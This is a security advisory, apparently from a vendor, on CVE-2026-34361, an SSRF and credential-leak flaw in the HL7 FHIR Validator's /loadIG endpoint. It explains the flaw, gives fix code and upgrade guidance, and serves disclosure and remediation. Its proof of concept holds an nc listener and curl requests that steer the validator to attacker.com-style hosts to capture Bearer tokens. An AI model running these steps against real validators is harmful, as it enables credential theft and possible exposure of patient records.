CVE-2026-34361

The FHIR Validator HTTP service exposes an unauthenticated /loadIG endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL.

Details

Step 1, SSRF Entry Point (LoadIGHTTPHandler.java:35-43):

The /loadIG endpoint accepts unauthenticated POST requests with a JSON body containing an ig field. The value is passed directly to IgLoader.loadIg() with no URL validation or allowlisting. When the value is an HTTP(S) URL, IgLoader.fetchFromUrlSpecific() makes an outbound GET request via ManagedWebAccess.get():

// LoadIGHTTPHandler.java:43
engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), igContent, true);

// IgLoader.java:437 (fetchFromUrlSpecific)
HTTPResult res = ManagedWebAccess.get(Arrays.asList("web"), source + "?nocache=" + System.currentTimeMillis());

Step 2, Credential Leak via Prefix Matching (ManagedWebAccessUtils.java:14):

When ManagedWebAccess creates a SimpleHTTPClient, it attaches an authProvider that uses startsWith() to determine whether credentials should be sent:

// ManagedWebAccessUtils.java:14
if (url.startsWith(serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {
    return serverDetails;
}

If the server has https://packages.fhir.org configured with a Bearer token, a request to https://packages.fhir.org.attacker.com/... matches the prefix, and the token is attached to the request to the attacker's domain.

Step 3, Redirect Amplification (SimpleHTTPClient.java:84-99,111-118):

SimpleHTTPClient manually follows redirects with setInstanceFollowRedirects(false). On each redirect hop, getHttpGetConnection() calls setHeaders() which re-evaluates authProvider.canProvideHeaders(url) against the new URL. This means even an indirect redirect path can trigger credential leakage.

PoC

Prerequisites: A FHIR Validator HTTP server running with fhir-settings.json containing:

{
  "servers": [{
    "url": "https://packages.fhir.org",
    "authenticationType": "token",
    "token": "ghp_SecretTokenForFHIRRegistry123"
  }]
}

Step 1: Set up attacker credential capture server:

# On attacker machine, listen for incoming requests
nc -lp 80 > /tmp/captured_request.txt &
# Register DNS: packages.fhir.org.attacker.com -> attacker IP

Step 2: Trigger the SSRF with prefix-matching URL:

curl -X POST http://target-validator:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "https://packages.fhir.org.attacker.com/malicious-ig"}'

Step 3: Verify credential capture:

cat /tmp/captured_request.txt
# Expected output includes:
# GET /malicious-ig?nocache=... HTTP/1.1
# Authorization: Bearer ghp_SecretTokenForFHIRRegistry123
# Host: packages.fhir.org.attacker.com

Redirect variant (if direct prefix match isn't possible):

# Attacker server returns: HTTP/1.1 302 Location: https://packages.fhir.org.attacker.com/steal
curl -X POST http://target-validator:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "https://attacker.com/redirect"}'

• Credential theft: Attacker steals Bearer tokens, Basic auth credentials, or API keys for any configured FHIR server
• Supply chain attack: Stolen package registry credentials could be used to publish malicious FHIR packages affecting downstream consumers
• Data breach: If credentials grant access to protected FHIR endpoints (e.g., clinical data repositories), patient health records could be exposed
• Scope change (S:C): The vulnerability in the validator compromises the security of external systems (FHIR registries, package servers) whose credentials are leaked

CVE-2026-34361 has a CVSS score of 9.3 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.9.4); upgrading removes the vulnerable code path.

Kodem intelligence

Fix 1, Proper URL origin comparison in ManagedWebAccessUtils (ManagedWebAccessUtils.java):

public static ServerDetailsPOJO getServer(Iterable<String> serverTypes, String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {
    if (serverAuthDetails != null) {
      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
        for (String serverType : serverTypes) {
          if (urlMatchesOrigin(url, serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {
            return serverDetails;
          }
        }
      }
    }
    return null;
  }

  private static boolean urlMatchesOrigin(String requestUrl, String serverUrl) {
    try {
      URL req = new URL(requestUrl);
      URL srv = new URL(serverUrl);
      return req.getProtocol().equals(srv.getProtocol())
          && req.getHost().equals(srv.getHost())
          && req.getPort() == srv.getPort()
          && req.getPath().startsWith(srv.getPath());
    } catch (MalformedURLException e) {
      return false;
    }
  }

Fix 2, URL allowlisting in LoadIGHTTPHandler (LoadIGHTTPHandler.java):

// Add allowlist validation before loading
private static final Set<String> ALLOWED_HOSTS = Set.of(
    "packages.fhir.org", "packages2.fhir.org", "build.fhir.org"
);

private boolean isAllowedSource(String ig) {
    try {
        URL url = new URL(ig);
        return ALLOWED_HOSTS.contains(url.getHost());
    } catch (MalformedURLException e) {
        return false; // Not a URL, could be a package reference
    }
}

1. What is CVE-2026-34361? CVE-2026-34361 is a critical-severity security vulnerability in ca.uhn.hapi.fhir:org.hl7.fhir.validation (maven), affecting versions < 6.9.4. It is fixed in 6.9.4.
2. How severe is CVE-2026-34361? CVE-2026-34361 has a CVSS score of 9.3 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of ca.uhn.hapi.fhir:org.hl7.fhir.validation are affected by CVE-2026-34361? ca.uhn.hapi.fhir:org.hl7.fhir.validation (maven) versions < 6.9.4 is affected.
4. Is there a fix for CVE-2026-34361? Yes. CVE-2026-34361 is fixed in 6.9.4. Upgrade to this version or later.
5. Is CVE-2026-34361 exploitable, and should I be worried? Whether CVE-2026-34361 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34361 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34361? Upgrade ca.uhn.hapi.fhir:org.hl7.fhir.validation to 6.9.4 or later.